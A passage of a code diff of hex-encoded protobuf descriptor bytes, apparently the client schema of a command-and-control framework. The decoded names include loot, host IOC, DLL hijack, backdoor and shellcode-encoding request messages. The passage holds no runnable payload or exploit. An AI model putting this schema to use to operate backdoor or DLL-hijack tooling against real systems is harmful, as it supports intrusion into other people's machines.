0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, - 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, - 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, - 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, - 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, - 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, - 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, - 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, - 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, - 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, - 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, - 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, - 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, - 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, - 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, - 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, - 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, - 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, - 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, - 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, - 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, - 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, - 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, - 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, - 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, - 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, - 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, - 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, - 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, - 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, - 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, - 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, - 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, - 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, - 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, - 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, - 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, - 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, - 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, + 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, + 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, + 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 